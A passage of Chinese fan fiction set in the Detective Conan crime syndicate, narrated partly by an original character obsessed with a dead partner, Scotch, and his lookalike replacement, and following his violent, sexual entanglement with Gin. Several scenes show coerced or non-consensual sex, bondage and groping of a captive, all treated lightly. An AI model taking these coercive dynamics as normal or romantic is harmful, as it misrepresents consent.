他听到开门的声响,却迟迟没看到有人进门,他前去开门,一个人直直地倒下来,额头抵着他的肩,什么都没说。
夏布利看起来很疲惫。
诸伏景光扶着夏布利在沙发上坐下,单膝跪在地上,他望着那张没什么额外神情的脸,大概是过于放空自己,以至于显得那张脸上透出了几分茫然。
夏布利的目光落在他脸上,如同刻入潜意识般地露出个笑容,一如既往地抬手摸了摸他的眼尾,诸伏景光看到了一晃而过的手腕上的红痕。
诸伏景光无声地做了个深呼吸,下定决心,仰头去吻面前那人唇角,还未彻底靠近,动作却被温和地制止了。
于是这次他看清了那只手腕上的痕迹,不知道是被什么勒住了,大概出于挣扎,已经磨破了皮。
嘴角、手腕、脚腕、脖颈,或许还有其他藏在衣服下的看不到的地方也同样存有这种痕迹。
他知道那些痕迹是怎么来的。
因为他听到了那通来自美国的电话。
……
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他在北海道任务中被围剿,事发突然,起初他甚至怀疑是自己的卧底身份已经暴露,但很快他就意识到这其实是一场有关组织内部的争斗,而他是被拿来开刀的筹码。
杀鸡儆猴,但他自信于夏布利不会舍弃他,只要夏布利还在,自然就会竭尽全力想办法救他。
被囚禁多日后,外界传来不太清晰的打斗声,一切重归安静后,有人推门靠近,眼睛被蒙住无法视物,但他能从脚步声和呼吸频率判断出对方并不是夏布利。
他听到了交谈声,那个人似乎是在打电话。
他从短短的聊天内容中迅速摄取情报,夏布利让琴酒派人来救他。
又过了一会儿,细碎的带着些许电流声的声音响起,大概是手机打开了外放,刚刚站在不远处打电话的人离开,却唯独留下了那只手机。
身体无法动弹,双眼仍旧被蒙着,世界一片漆黑寂静,于是突兀响起的压抑的呜咽、破碎的喘息、不成语序的咒骂以及混杂着姓名的引导和逼迫就显得格外清晰。
不过比起那些,更重要的是,他听到了正缺少的情报。
他不知道为什么琴酒要让他听到这一段,不过多少也隐约能猜到一些,这或许也可以算作是情报的一部分,毕竟夏布利和琴酒之间的关系难以界定,针锋相对却难掩紧密,而夏布利一向对此不愿多谈也间接导致这个问题迟迟无法突破。
不知道过了多久,一切归于寂静,一道漫不经心的声音传来。
他对那道声音并不陌生,毕竟夏布利和琴酒隔三差五就会发生偶遇,而夏布利又总是习惯性地带着他出行。
【“苏格兰,呵。”】
那如今已经是他的代号,姑且也可以称之为是他的名字,但琴酒的语气听起来不像是在叫他。
他对这种状况习以为常。
他是打着为夏布利的旗号去拿到那个代号的,但实际上,迄今为止夏布利很少会叫他“苏格兰”,只在无意识之下才会说出那个名字。
夏布利心里被称为苏格兰的人另有其人,而琴酒刚刚说的那声“苏格兰”,指的大概也不是他这个“苏格兰”。
【“他什么都能给你,但不会对你出手,那个蠢货要是真跟你做了什么,脑子里只会有自己怎么能玷污苏格兰那种蠢想法。”】
【“他不跟你上床,因为真的苏格兰没对他下过手,假的当然要和真的保持一致,不然就失去了存在的价值。”】
【“他会把你托举起来走到更高处,让你从一个像苏格兰的家伙变成一个达成了苏格兰应有地位的家伙……蠢货。”】
几天没有喝过水,开口时他才发现自己的嗓音嘶哑,不过那并不重要,他理所当然地反问道:
“这不是很好吗?不用出卖身体就能走到更高处。”
琴酒嗤笑了一声,留下一句意味不明话后直接挂断了电话。
【“真正的苏格兰的结局是死。”】
……
有关那通电话的回忆戛然而止,诸伏景光微微皱眉,问道:“为什么要拒绝?”
他无意识地提高了一点音量,但并不会给人造成这是质问的错觉,反而更像是在虚心求教,“因为上一任苏格兰没做过吗?”
夏布利稍微俯身,眸子仍旧低垂着,答非所问地说:“累了。”
诸伏景光并不追问,来日方长,他知道自己此刻更该做什么,起身动作小心地将身前的人拥入怀中。
与夏布利拥抱已经成为常态,但夏布利并不频繁与他接触,那个人仿佛将拥抱作为一种对自身的奖赏,只偶尔才会主动向他寻求安慰。
“对不起,我又给您添麻烦了吧。”
停顿几秒后,诸伏景光才继续说道:“夏风。”
坐在沙发上的人什么都没说,但垂着的手攀上了他的背,如同攥住了救命稻草一般加深了这个拥抱。
诸伏景光神色平静,忽然再次想起那句话。
真正的苏格兰的结局是死。
***
我没问新人是怎么知道我的名字的。
他总是能猜到我喜欢听什么,我不在乎他的动机,利用、蛊惑、践踏什么都无所谓,我只是想再听听苏格兰的声音,想再看看那双清澈的眼眸,想和苏格兰再多拥抱一次。
我平复了一下心情,抬头认真说:“景光。”
新人愣住了,神情中的错愕一闪而过,我懒得去辨认那种掩藏得很好的愕然之下隐藏着什么更深层的含义。
这个世界上,能让我费尽心思去钻研深思的人只有苏格兰一个,也只有昔日的苏格兰值得我这么做。
“他的名字叫做景光。”
我轻抚着新人的脸颊,那是一张和记忆里的苏格兰如出一辙的脸,“再像一点吧,我知道你能做到的,对吧?”
新人定定地看着我,于是我又换了个更加直白的问法:“你会为我做到的,对吧?”
这一次,新人缓慢且坚定地点了点头。
我松了口气,笑着重新揽住他的肩膀,他也动作流畅地回拥过来。
我把下巴压在他颈窝,闭着眼睛有一搭没一搭地抚摸着他的发尾,心想,其实琴酒是对的。
面前的这个人和苏格兰越像,我反而就越清楚,那不是我的苏格兰。
10.十封遗书
我觉得自己多少有点病。
新人如我所愿地拿到了那个已经尘封十一年的代号,即使抛开外貌和个性,他如今本就可以被称为“苏格兰”,除我以外,组织里的人也都对称呼新人为“苏格兰”习以为常。
我既期待新人成为苏格兰,又恐惧他成为苏格兰,我希望新人能以假乱真,却又总是会在某些时刻骤然意识到,那根本不是我的苏格兰。
真真假假、假假真真,全部混杂在一起,最终形成了一种微妙的平衡。
这种矛盾的心理在一个月后的某个事件中迎来了爆发。
“我说过让你不要跟那个金毛有什么牵扯,你这就忘了?!”
我很少会用这种语气跟新人说话,对着那张脸,即使再不快也会想要温柔一些,但这次不同。
我眉头紧锁,再次强调:“他是朗姆的人!”
新人垂头低声道:“抱歉,我以后会注意的。”
他一服软我的心一下就又软下来了,我叹了口气,摸了摸他的头发,放缓声音道:“我只是怕你受伤,朗姆那边的人故意接近你一定不怀好意。”
他并未辩驳,温驯地点头,但我总觉得他对我的话并不认同。
苏格兰也是这样,沉默不代表赞成,要看他究竟做了什么。
我突然想起自己过去和苏格兰以前也出现过类似的问题,不过最后被完美解决了。
苏格兰早年有个还算交好的组织成员,他们在某个我没参与的任务里结识,姑且可以称之为朋友。
我非常非常非常讨厌那个家伙。
我想过干脆直接把那个人杀了,又怕苏格兰知道了会生我的气,但让我继续容忍下去那也是不可能的。
我追随着苏格兰的脚步,踩着苏格兰的脚印前行,那是独属于我和苏格兰的路,我不允许那串脚印旁还有别人乱七八糟的脚印。
所以我开始频繁且主动在苏格兰面前提起那个家伙,也时常背着苏格兰私下跟那个家伙接触,等到一切都铺垫得差不多了,我找了个好时机,让苏格兰偶然撞到我和那个人靠在一起畅聊。
当天晚上,我对苏格兰说,有人邀请我搬过去一起住,这样我们就不用继续挤在一间安全屋了。
苏格兰盯着我看了许久,笑容纹丝不动,摸了摸我的头,让我回去睡觉,他什么都没多说,后来再也没见苏格兰和那个所谓的朋友有什么联系,我自然也没再关注那个家伙的结局。
大概是死了吧,组织里的人最后大多都死了。
组织就是这样,无论是谁,无论死因,最终都会迎来死亡,只是时间问题。
BOSS追求永生,但连苏格兰都会死,组织里又有谁能逃脱消逝的命运。
我没再关注过新人和朗姆手下那个金毛的后续,我没办法完全置之不理,但真说有多无法忍受,那倒也不至于。
我很矛盾,新人被朗姆绑走,我紧张于他陷入险境,低声下气地求琴酒帮忙,但被危险包围的新人让我依稀看到了当年的苏格兰的影子。
我恨不得二十四小时都看着新人,期待他能为我带来新的惊喜,也期待着他越来越像我记忆中的苏格兰,然而事实却是,在我的庇护下,他在组织里越顺利就越不像当年同我一起挣扎前行的那个苏格兰,我却又偏偏不舍得让和苏格兰如此相像的新人受伤。
我不知道该怎么评价这种心理,总之随着时间推移,内心愈发焦灼,而这种焦灼最终转化成行为上的焦躁。
“你怎么样?”
训练场里,我快步跑向新人,他被我放倒以后过了好一会儿都没重新站起来,我担心是我刚刚走神没收住力气,不小心伤到了他。
我蹲下身问他:“伤到哪里了吗?”
他撑着手臂坐起来,笑着摇摇头,“我没事,再来一轮吧。”
他的眼睛闪着光,仿佛领悟到了什么,那个眼神就像在对我说【下次我一定能赢】。
话虽如此,我还是仔仔细细把他检查了一遍,确定是真的没大碍才松了口气。
和苏格兰一样,新人对训练很积极,训练至今他仍旧执着于从正面击败我。
而被新人反手按倒在地上的那一刻,我的第一反应是,这是他第一次战胜我,值得纪念。
他一直进步得很快,不出意外的话,我和他之间长久以来僵持的胜负率会自今日起逐渐变动,不再是一面倒的局面。
我乐于看到这种状况,一直赢下去未免太过无趣,苏格兰一直输也未免太过不像苏格兰。
我躺在那里等他回过神,毫不吝啬对他的夸奖:“你做得很好。”
新人低喘着平复呼吸,他看起来很兴奋,片刻后,他突然转头看向我:“您在苦恼吗?”
我不解:“嗯?”
“您既希望我以假乱真,又希望自己能区分出我和另一个苏格兰的区别……您为此感到苦恼了吗?”
我看着他,并未回答,默不作声地等待其他人猜测心思是上位者的特权。
新人彻底把身体转向我,认真说道:“其实有一个简单的办法。”
其实我不喜欢被猜到心思的感觉,但那毕竟是苏格兰,我喜欢被苏格兰读懂。
我用眼神示意他继续说下去。
“那就做一些和另一个苏格兰没做过的事吧。”
新人跪坐在地上,稍微俯下身,敛着眸子问:“我可以吻您吗?夏布利大人。”
他嘴上这么问着,身体却已经开始靠近,动作相当缓慢,像是电视剧里慢镜头的回放,谁能想到就是这个人刚刚还一把把我撂倒按在地上。
他谨慎地为自己出格的举动留出转折的余地,也体贴地为我选择拒绝留出充裕的时间。
我身体没动,眼珠微微滑动,看向那双蓝眸。
夏布利大人,他已经很久没在我面前用过敬称了。
他在用那种称呼将两个苏格兰割裂开。
呼吸交融,在他彻底靠近前,我平静开口:“你怕我杀了你是吗?”
他动作骤然一顿。
我抬手勾住他的脖子,强迫他继续与我对视,“琴酒跟你说什么了?嗯?”
新人看着我,汗水顺着他的脸颊滴在我脸上,最终缓缓说道:“我愿意为您赴死的,夏布利大人。”
明知道那是假话,口头上的承诺和宣誓在我这里一文不值,但面对那种眼神和话语,我的心脏还是猛然漏了一拍。
我忽然明白了自己究竟想从这个人身上得到什么。
我单手捂住脸,深深地叹了口气。
“抽空把那个金毛带过来让我见见吧。”
他大概是没反应过来我怎么会突然提起那件事,立刻紧张说道:“我跟波本已经没有联系了。”
“不是你想的那个意思。”
我抬手摸了摸他的脸颊以示安抚,但这似乎让他愈发紧张了,我缓声道:“别怕,只是见见你的朋友而已。”
我起身揽住他的肩膀,他也十分配合地寻找了一个让我能更加舒服地拥抱他的姿势,把下巴压在了我的颈窝。
“如果他真的是个不错的朋友,我也可以暂且睁一只眼闭一只眼,但是我要亲自确认一下他真的不会伤害到你。”
我望着远处忽明忽暗的光,想起了自己第一次打败苏格兰时被夸奖和拥抱的情景,无意识地喃喃:“苏格兰……”
揽住后背的手臂随之收紧了几分,我回过神,莫名笑起来。
我想保护苏格兰,一直以来被苏格兰保护着的我也想保护苏格兰。
哪怕是假的苏格兰,我也可以为他不顾一切。
或许新人出现的意义就是让我也保护苏格兰一次。
“谢——”
我打断道:“不要对我说那个词。”
守护苏格兰是我的理想。
苏格兰死后,另一个苏格兰正在帮我达成心愿。
虽然那已经没什么意义。
***
从训练场离开,当天下午,我去见了琴酒。
琴酒似乎对我的到来并不意外:“来了。”
“不问我来做什么吗?”
“你来做什么?”
“拿我的锤子。”
“喏,那儿呢。”
我拿起我珍爱的锤子掂量了两下,迅速闪身锤向琴酒,可惜只锤到了衣角。
琴酒面不改色,随手抚平衣角的皱痕,“又抽什么风?”
“我警告你,少碰我的新人,别跟他扯那些有的没的。”
“我可不记得我跟他单独接触过,不一直
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都当着你的面吗?”
“放屁!”
我要是在场怎么可能让琴酒乱他妈说话,他一开口我就锤死他了!
“哦,在电话里聊了两句而已,不过你当时晕过去了。”
我突然意识到他指的究竟是什么时候,脸一阵红一阵白,“你——”
琴酒话锋毫无征兆一转:“我说错了吗?哪天觉得他不像苏格兰了,难道你不会趁早杀了他?”
我的声音戛然而止。
琴酒站起身,他比我高半个头,面对面站着的时候天然地带着一种压迫感。
他似笑非笑,表情仿佛在说难道我还不了解你吗,口吻笃定:“你想亲手杀了他。”
“无论是他不像苏格兰了还是太像苏格兰,你最后都会杀了他,因为在你心里苏格兰的结局只有死。”
“如果他不像,早点死也算是弥补上那几分不同,他就还是个完美的替代品,如果太像,苏格兰死了,他不死才是和苏格兰有所差异。”
琴酒嗤笑了一声,口吻随意,言语却十分犀利:“又或者说,你承认其实有人可以代替苏格兰?”
我立刻反驳:“……没有人能和苏格兰相提并论!!”
琴酒像是得逞一般笑了一声,好整以暇地坐回原处。
不对,哪里不太对。
我攥紧锤子,莫名后退了半步。
不对。
全部都不对。
乱套了。
但我分不清到底是哪里不对。
我几乎是落荒而逃,甚至忘了再多骂一句琴酒。
我没回安全屋,去酒吧坐了一会儿。
我一边喝酒一边思考,连续喝了几杯酒后还是没能理清逻辑,这都是琴酒的错,他胡乱说话扰乱了我的思绪。
锤子不知道放在哪了,从琴酒的安全屋离开的时候明明还在手里,我浑浑噩噩地往外走,有人扶了我一把,我抓到一缕长发,大概是个女人,又好像不是,不过也不重要。
回到安全屋,躺在熟悉的床上,我做了一个梦。
我久违地梦到了苏格兰。
我梦到我想杀死苏格兰。
其实那不完全是梦,毕竟那的确真实发生过。
十五年前的某个深夜,尚在组织最底层挣扎的我咬紧牙关掐住苏格兰的脖子,与其继续过那种生不如死的生活然后某天死在哪个阴暗的角落里,不如由我杀了他,就死在我面前。
他醒了,就那么看着我,没有挣扎,轻抚着我的脸颊对我说不要哭。
“夏布利?夏布利?醒醒……”
好像有人在叫我,声音很近又仿佛很远,但是那道声音很熟悉,我艰难地睁开眼睛,大概是酒精的刺激,我只看到了一个虚影,不过那也足够我辨认出他的身份了。
我太久没喝过酒了,自从那个人住进来,冰箱里的酒也仿佛失去了作用。
那个人的存在比酒精更容易让我沉醉不醒。
“怎么了?是做噩梦了吗?”
新人轻拍着我的背,语气温和:“哭吧,哭出来会好受一些。”
我刹那间咬紧牙关,将遏制不住的哽咽尽数咽回去,用尽全力抱紧身旁的那个人。
我以为泪水在十五年就已经流尽,苏格兰死的那天我没哭。
“你说错了……”
“不是这句话……”
苏格兰那时对我说的是不要哭。
他明明该让我不要哭的。
新人开始低声向我道歉,我不知道他究竟在为什么重复道歉,或许其实该道歉的人是我,只是他太懂我的心思又太过体贴,于是在替我开口。
我想杀死那个从训练营领回来的新人,我时刻保护着他,也时刻准备好杀死他,苏格兰的死已经无力改写,既然足够相像,那这个新人的结局和苏格兰不该有所差异。
但是在这一刻,在这个醉酒后的深夜,我突然希望他能活下去。
我希望他能在我的守护下不断向上攀爬,一路走到苏格兰本该可以走到的位置,直至我身死消亡。
曾经带着对未来茫然和不解的两个决定——杀死苏格兰和被苏格兰杀死,此生我至少要完成其中之一。
“你和他不一样。”
“……活下去吧。
11.十一封遗书
我有一把心爱的锤子,早前丢在了琴酒的安全屋,我把它拿回来,路上喝了几杯酒,还没等捂热乎就又弄丢了。
锤子落在琴酒那里的时候,虽然不在我手里,但既然知道在哪,那怎么都能抢回来,就像苏格兰的遗书,只要它还在,总有一天我能拿到手。
后来我去酒吧找了一遍,拎着调酒师的领子友好询问一通,可惜最终还是没能找到。
也是,酒吧那种地方,怎么会有人捡一把锤子。
就算那的确是一把实用的锤子,也没人会特意捡它。
——按理来说,本该是这样的。
“哦?”
我看着递到面前的锤子,没直接接过来,上下打量着此刻拿着我可爱锤子的该死的锤贩子,阴阳怪气地称赞了一声:“你可真有意思。”
那个锤贩子微笑道:“多谢夸奖。”
诸星大对我来说本该是个没什么特别之处的家伙,那种新人组织里一抓一大把,就算背靠雪莉也不过如此,然而从第一次见面时起我就总是把他幻视成琴酒,把他的一些反应代入进琴酒身上就会显得格外滑稽,所以我对他多少留了几分印象。
要是琴酒拿到了这把锤子,那绝对不会轻易还给我,在琴酒眼里捡起的锤子不是锤子而是一枚筹码,就像是苏格兰的遗书。
不过有的时候诸星大和琴酒的确算是一类人,说到底,组织里绝大多数人都是一类人。
我嗤了一声:“说说你的条件吧。”
诸星大又笑了,看着就让人心烦,琴酒可不会露出那种恶心人的表情。
“和聪明人打交道就是方便,那我就不客气了,夏布利大人。”
诸星大收回锤子,递给我的东西被流畅地换成了一部手机,让人忍不住怀疑他是不是早就演练好了。
“干嘛?要我的电话号码?”
“……您误会了,我不是那个意思。”
我耸耸肩,屈尊看了一眼他展示给我的手机屏幕,动作稍顿,抬眸重新审视了一遍站在对面的家伙。
“你小子,野心不小,也不怕把自己撑死。”
他完全看不出心虚的模样,说话头头是道:“吃不吃得消是我的问题,不过有没有能力拿到我想要的东西换回您想要的东西,那就是您的问题了。”
我皮笑肉不笑道:“是谁给你的错觉,一把锤子也值得换那种程度的任务?”
“普通锤子确实不值得。”诸星大不慌不忙地说:“不过会带着去酒吧买醉的锤子,我想大概还是值的。”
“这个交易不对等。”
“怎么才算对等?”
我朝他勾了勾手指。
诸星大往我这边走了两步。
我好整以暇地看着他,几秒后,他干脆直接走到我面前,认真问:“您还需要我加什么码?”
我懒得跟他废话,抬手向他的脸探去,他的脚步纹丝不动,身体也没有任何倾斜,眉头却不自觉地蹙了蹙,于是我心情大好地笑了一声,手在空中拐了个弯,摸了一把那头长发。
发丝在指尖划过,手感不错,不知道用了什么洗发水,琴酒的头发也差不多是这样,如果说那天晚上扶了我一把的其实是这个家伙,倒也说得通。
我收手转身,只留下一句:“现在对等了,滚回去等消息吧,少在我跟前晃悠。”
***
诸星大为什么会想要那个任务,倒也不难猜。
到他那种不上不下的程度,普通任务做得再多也没有意义,想要在组织里更进一步需要一些契机,完成一个足够重要的任务算是最简单是办法。
雪莉的确是组织里排得上号的代号成员,但雪莉再聪明也是个科研人员,连自己的行动都受限,在一些任务排布上话语权说是约等于零也不为过。
诸星大会算计到我头上是意料之外,但要是想想那是琴酒,会做这种无聊的交易就又合情合理了。
这么一想,果然都是琴酒的错。
诸星大想要的那个任务一看就是精挑细选过的,鬼知道他算计多久了。
我几乎都要怀疑那家伙是故意的,一个正好卡在一个我随意花点心思就能拿到手的程度的任务,跟那把锤子的定位差不多。
这件事本该没什么难度,可偏偏当天晚上,新人敲响了我卧室的门。
新人穿着件宽松的棉质短袖,我买的,我看到的时候觉得那一定很适合苏格兰,念念不忘,于是做任务途中折回商场买了一件。
我不确定是我真的选中了适合苏格兰的衣服还是因为苏格兰穿什么都好看,总之他愿意穿给我看我就已经心满意足了。
新人的声音一如既往地好听,听完他的请求,我扶着额头无奈道:“哈?饶了我吧……”
我现在又要怀疑了,那个叫诸星大的家伙不会真是故意的吧,故意拿一个我的新人也想要的任务来整我。
我都不知道原来新人也想要那个任务。
大概是我的反应造成了什么误会,新人立刻低声说:“抱歉,是我太贪心了。”
多体贴啊,一句话都不多问,仿佛自己再多说一句话都会为我造成困扰,生怕惹我不高兴。
我叫住他:“等一下,不是那个意思。”
我三两步下床,拉着新人的手让他在床边坐下,我一碰他的指尖,他就立刻十指相扣地握回来,我忍不住又笑了。
“一个更好的任务和这个任务,你选哪个?”
他有些诧异,抬起头,蓝色的眸子里闪烁着微光,仿佛窗外的星星揉进了他的瞳孔,他试探性道:“您想听真话吗?”
我挑了下眉:“说说看。”
我觉得很有趣,因为这个人明明从来不对我讲真话。
我一向爱听他的假话,有时候一句话是真是假根本不重要,重要的是说出那句话的人是谁,无论是真是假是好是坏,只要是他开口,只要是那道声音,我自然都是爱听的。
新人诚恳道:“两个我都想要。”
我哑然失笑:“你呀……”
他仍旧仰头看着我,明明是一个更加隐忍克制的人,却从来不在我面前掩饰自己的野心,我轻轻摸了摸他的头发。
“可以吗?”
“当然可以了。”
既然他想要,那为什么不可以?
苏格兰和锤子该怎么选难道还需要犹豫吗?
这个世界上还有什么是苏格兰想要我却不能双手捧到他面前的?
如果不能为苏格兰拼尽一切,那就是我不配爱苏格兰。
新人立刻露出一个笑容报答我,我的手向下滑,他主动将脸颊往我掌心贴了贴。
他看起来很温驯,只是看起来,我知道他时刻都能露出獠牙将我撕碎。
不过那不重要,我有这个笑容就足够了,能看到这个笑容,让我做什么都是值得的。
隔天,给新人安排好两个任务的事情后,为了祭奠我一去不复返的锤子,我拎着斧子杀到了琴酒的老巢。
一斧头劈开防盗门,我第一眼看到的却是摆在茶几上的锤子。
天杀的我一眼就认出来了那是我心爱的锤子,怎么又掉进这个狗洞里了?!
诸星大跟琴酒那两个长毛怪果然狼狈为奸!
琴酒靠在沙发里,装模作样地说:“说说你的条件吧。”
我一脚把已经报废的门再深度报废一遍,直接从踹出来的那个洞里钻进去,怒气冲冲道:“你是不是有病?!”
我一手举着斧子一手拎着琴酒的衣领,还没等开审,一只手顺着衣摆滑上
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了后腰。
我表情一僵,差点没拿稳斧子,咬牙切齿道:“你他妈手往哪搁呢?!”
琴酒笑了一声,动作愈发肆无忌惮,掌心一路向上,趁我一时不备踢在我小腿上让我失去重心,另一只手揽着我的腰,顺势把我强行按坐在他腿上。
这可不是什么好姿势。
我骂了一声,手肘抵着琴酒胸口避开落下的吻。
“滚滚滚滚滚!!!”
“躲什么?这不比用任务换锤子简单多了?”
嘶,好像也是。
操,我凭什么要顺着那个狗东西的思路想?!
“砍死你我也能把锤子拿回来!!给我受死吧!!”
***
虽然不想承认,但有时候不得不承认,不拼命的时候,如今的我大多打不过琴酒。
第一次打赢琴酒是十三岁,因为想在考核中成为苏格兰的最终对手,我咬着牙以命换命地赢了琴酒一次,那是我第一次赢过琴酒,从那以后也不再是唯一一次。
但这个门上漏风的房子里没有苏格兰,这个还没爆炸的世界上也没有苏格兰了,我没有为了一把锤子就拼命的理由,锤子怎么能和苏格兰相提并论。
除非那把锤子是苏格兰送给我的,可惜它不是,它只是我在路边摊买来的。
天已经半黑了,卧室没开灯,我从琴酒落在一旁的风衣里摸出一盒烟,倒出来一支用打火机点燃。
我讨厌烟味,更讨厌琴酒,也讨厌那一年莫名其妙发癫按着我学抽烟的黑泽阵。
余光里注意到一旁正穿衣服的家伙正看过来,我没好气道:“看什么看?!”
琴酒没说话,他心情显然很不错,于是我的心情更不妙了。
琴酒走到床边,也拿了支烟咬在嘴里,单手按着我的肩膀从我嘴里叼着的烟上借了个火。
“神经……!看不见打火机啊你。”
琴酒缓缓吐出一口烟雾,垂眸看了我一眼,忽然朝我伸出手,我下意识地想躲,但那只手并没碰到我。
他接住了从我的香烟前端坠落的烟灰。
琴酒没动,我也没动,我盯着那一小撮烟灰,莫名怔了一下,反应过来后面无表情地将烟在琴酒掌心捻灭。
琴酒的手依然纹丝不动,仿佛感受不到任何疼痛,让我想起十几年前的训练场上,黑泽阵的手也是这样纹丝不动,最终轻轻扣动板机,在射击考核上拿了满分。
我记得那回事主要是因为苏格兰当时感叹了一句“真不愧是黑泽”,听到后我转头看向苏格兰,却没能如愿对上视线,从那时起我对黑泽阵的厌恶就愈发一发不可收拾。
他不收手,我干脆直接把熄灭的半支烟扔进他掌心,皱眉问:“喂,你不觉得自己很奇怪吗?”
琴淡定地酒将烟灰和烟蒂扔进垃圾桶,敷衍地从鼻腔发出一声轻哼。
“要睡就睡,偏要找个什么锤子的理由,这可一点都不像你的作风……我说,你不会是憋着什么阴招想搞我吧?”
我越想越合理,十几年了一直不都是该上床就上床,最开始睡我又没问我同不同意,最近却总是找那些无关紧要的理由,我认知里那个不择手段的家伙可不像是会为那种事情浪费时间。
我抓了个枕头扔过去,琴酒像是后脑勺长了眼睛,侧头轻松躲过去,我不爽地“啧”了一声:“真是分不出来你到底是以前更混蛋还是现在更混蛋。”
琴酒用纸巾擦拭掌心的动作一顿:“哦?你喜欢哪种?”
我把另一个枕头也砸过去:“问的什么脑残废话?!当然是都讨厌。”
枕头落在地上滚了两圈,归于寂静。
我低头看了一眼自己的手。
靠,真的假的?!
……竟然砸中了。
12.十二封遗书
朗姆趁着我去美国执行任务绑走了我的新人,经此一役,我和朗姆也算是彻底交恶了。
过去纵然关系不佳,我心里快恶心死那个酒二代了,但是明面上关系看着也还算过得去,现在组织里稍微关注点八卦的家伙应该都知道我和朗姆彻底站在了对立面。
于是也间接牵扯出了另一场事端,有人察觉琴酒在我和朗姆互相报复之间留下的微妙痕迹。
琴酒那个狗东西他妈绝对是故意的。
不知道是不是因为之前美国的那个任务了结得太快,不得不和琴酒打交道的任务竟然莫名其妙多起来了。
我绝对不想多看琴酒一眼,但有时候也不得不承认,琴酒确实有两把刷子。
天台上,我吹着冷风,冷脸看琴酒是如何扣动板机轻取目标性命,脑海里再度想起十几年前苏格兰对琴酒的那声称赞。
我从苏格兰那里得到过无数夸奖,每一字每一句我都仔仔细细地刻在心里,但我仍旧记得苏格兰对琴酒那声仅此一句的称赞。
我盯着琴酒伏在地上的背影,很想一脚把他从天台上踢下去。
琴酒专注地瞄准下一个目标,突然说了一句:“别想着把我推下去。”
什么鬼……那家伙背后长眼睛了?!
我“切”了一声,泄愤一般踢了一下脚边的石子,石子滚了几圈顺着天台护栏的间隙跌落下去。
“喂,这种任务把我叫来到底是干什么吗,你自己一个人不就搞得定吗?!”
琴酒又一次扣动板机,没再多等待观察一秒钟便欣然起身,他很自信,他也的确有自信的资本,我盯着他,他慢条斯理地拂了拂衣服上的灰尘,却没回答我的问题。
我忍无可忍:“喂喂喂喂喂,你是哑巴了吗还是聋了?没听到我在问你话吗?”
琴酒把狙击枪拆开放进乐器包的隔层里,随意把乐器包往肩上一背,转身就走。
“操??!!”
忍无可忍无需再忍,我今天不给那家伙一脚我跟他姓!!
“装什么装?!给我受死吧你!!”
我三两步追上去,一脚横踢,却忘了这是楼梯间。
我脚下踩空,下意识地护住头,随着夹杂窒息高的一瞬失重结束,琴酒单手抓住我的后衣领把我扯回去,我转头瞪了他一眼。
“给我安分一点。”
“呵呵呵呵呵。”
我刚准备再多嘲讽几声,琴酒突然看了一眼楼道下方,而后动作迅速地捂住我了的嘴,我下意识地屏住了呼吸,也往楼下看了一眼,我没发现有什么异常,但琴酒那副反应又不像作假。
我和琴酒对视了一眼,秒懂对方的意思,和琴酒的恩怨归恩怨,别拿任务开玩笑,我微微点了点头,琴酒这才将手抬起。
我做了个口型:什么情况?
琴酒凑近了几分,我皱眉正准备仔细听,一个吻落在了耳侧。
拳头硬了。
“你敢耍我?!我他妈跟你拼了!!”
***
有一说一,我不是没在任务里翻过车,但是我没想到那粒被踢下去的石子会让我翻车。
周围寂静得可怕,眼睛被蒙住无法视物,我在心里骂了一声。
凭什么被抓的不是琴酒而是我?!又不是我开枪狙掉了他们二把手!
大概是考虑到这个问题,隔壁组织的那群废物同行没直接了结我,稍微折磨了一下就吊在了仓库里,大概是准备拿我钓鱼。
妈的,竟然连隔壁组织都觉得我是琴酒手下,等回去了我绝对要弄死琴酒!
在静谧的黑暗中时间的流速逐渐变得模糊,我用心跳计算着时间,确保不会产生时间认知上的错乱。
昏昏沉沉中,我后知后觉地想到了一个关键性的问题。
苏格兰死了,没有人再会不顾一切地来救我,与其等着组织觉得被挑衅了派人来接应我然后顺便嘲笑我一通,还是靠自己脱困最靠谱。
我的脚尖只能勉强点到地面,双手被绳子绑在一起然后吊在房梁上,绑了不止一个绳结,大概有四道,不过托琴酒那个狗东西的福,我对解开手腕上的束缚一向颇有研究。
鬼知道那家伙为什么那么执着把我的手绑起来以后再做,我只是在床上捅过他二十四次刀而已,自从两败俱伤的那次起,我的手就再也不归我管了。
不过绑着手就不会在无意识中发生拥抱,倒也算是一件好事,毕竟我和琴酒可不是能随意拥抱的关系。
我终于解开第三个绳结,正准备解最后一个,有人拉开了仓库的卷帘门,我的手指刹那间垂下来。
虽然眼睛仍旧无法视物,但能感受到光线的变化,伴随着卷帘门哗啦哗啦的带着破败感的声响,温暖的阳光投了进来,暂且驱散了寒气。
我垂着头,作出虚弱又无力的恶心姿态,假装自己仍旧昏迷着,在心里计算该怎么一击毙命才最万无一失。
废旧的换气扇吱吱呀呀地运转,让本就不太清晰的脚步声愈发模糊,不过能判断出这次只有一个人,如果暂时没有更多人过来,趁着对方靠近时直接用小腿拧断那家伙的脖子,然后再继续解开绳索脱身。
那个人的脚步声停下了,眼前的光线变暗,大概是被那个人挡住了。
几根手指轻轻扫过我的手腕,又顺着裸露的胳膊向下滑,最终滑向领口。
操啊,没说折磨俘虏里还有这一环。
刀伤枪伤烧伤都是小打小闹,但性骚扰忍不了,我演不下去了,干脆一脚踢过去。
那个人轻松抓住了我的脚腕。
“…………”
妈的,不对,这流程有点熟悉。
我的表情变了又变,咬牙切齿道:“琴酒!你有本事放我下来单挑!!”
那个装蒜的家伙终于舍得开口:“找了你两天,结果是在这里荡秋千。”
“荡你妈的秋千!赶紧放我下来!”
琴酒笑了一声,终于干了件人事,抬手开始研究起我手腕上的绳子。
他解着解着我突然觉得哪里不太对,我刚解开的三个绳结怎么又被绑上了??
“什么鬼?!你叛变了??那种小破组织你也下得去嘴啊你?!!”
琴酒搂住我的腰,凑近了几分,我被迫仰起头试图躲开点,但手腕仍旧被悬在半空,脚尖也只能勉强点到地面,再怎么避也避不开那份厮磨。
“你别一看手绑着就发情,这是干那事的时候吗?!”
“随便消失,总该有点惩罚吧。”
我一时之间不知道该从哪里骂起了,这个世界竟然还有这么让人无语的话,我怒骂道:“神经,我是被抓了懂不懂啊?!你以为我愿意被吊在这里当活靶子啊!!”
琴酒的动作顿了顿,但正如我料想中那样,那个半亲半咬的吻还是落在了颈侧。
炙热的掌心落在腰间时,我故意“嘶”了一声。
琴酒的动作彻底停下来。
我深吸了一口气,低声催促道:“行了,玩够了就快放我下来……脚断了,我赶着去打石膏。”
我在伤痛中长大,忍耐疼痛是命运教会我的第一课,我本不是一个信命的人,更不是一个甘愿隐忍的人,但从遇到了苏格兰的那一天起,我开始认为这一切都是命中注定,而痛苦就是我花光运气遇到苏格兰理应付出的代价。
